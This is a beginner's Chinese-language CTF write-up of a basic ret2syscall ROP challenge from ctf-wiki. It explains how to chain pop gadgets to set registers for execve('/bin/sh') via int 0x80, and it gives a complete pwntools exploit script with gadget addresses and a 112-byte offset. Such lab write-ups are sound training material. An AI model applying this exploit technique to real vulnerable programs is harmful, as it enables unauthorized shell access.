一道简单的ctf-wiki上的基本ROP题目。
原理:控制程序执行系统调用,获取 shell。
0x01
预备知识:
系统调用通过 int 80h 实现,应用程序调用系统调用的过程是:
1.把系统调用的编号存入 EAX;
2.把函数参数存入其它通用寄存器;
3.触发 0x80 号中断。
execve函数:
详见:execve函数
0x02
解题步骤:
首先检查:
ida打开之后,没有system函数,只有binsh关键字,开启NX保护。
需要构造execve(“/bin/sh”, 0,0);
其中,系统调用号可以通过指令
cat /usr/include/asm/unistd_32.h | grep execve
实现。
由图可知,现在execve系统调用号位:11,对应0xb。
所以我们需要将:
0xb ->eax
/bin/sh->ebx
NULL->ecx
NULL->edx
如此一来,我们就可以构造出:
execve(“/bin/sh”,0,0)
如图:
我们可以通过pop eax ,来让eax中放0xb,其他寄存器同理。
从而我们可以得出payload=112*'a'+p32(pop_eax_addr)+p32(0xb)+p32(pop_edx_ecx_ebx_addr)+p32(0)+p32(0)+p32(binsh_addr)+p32(int_0x80_addr)
接下来就是求出各个地址。
0x03
使用ROPgadget工具具体实现:
ROPgadget,我们可以通过此工具来快速实现代码查找,常见命令如下:
- 找到int 0x80地址:指令# ROPgadget --binary rop --only ‘int’
同理,我们能够找到pop_eax_addr:
同理,我们能够找到其他寄存器的返回地址:
(这里我们直接找到了pop_edx_ecx_ebx_addr_ret_addr)。
同时,使用cyclic工具,可以测量出偏移量:112。
从而编写exp:
结果:
完整exp:
from pwn import *
lzh=process("rop")
#lzh=remote(" ",)
binsh_addr=0x080be408
pop_eax_addr=0x080bb196
pop_edx_ecx_ebx_addr=0x0806eb90
int_0x80_addr=0x08049421
payload=112*'a'+p32(pop_eax_addr)+p32(0xb)+p32(pop_edx_ecx_ebx_addr)+p32(0)+p32(0)+p32(binsh_addr)+p32(int_0x80_addr)
lzh.sendline(payload)
lzh.interactive()
0x04
pwn小白初学者,如有错误请各位师傅指正。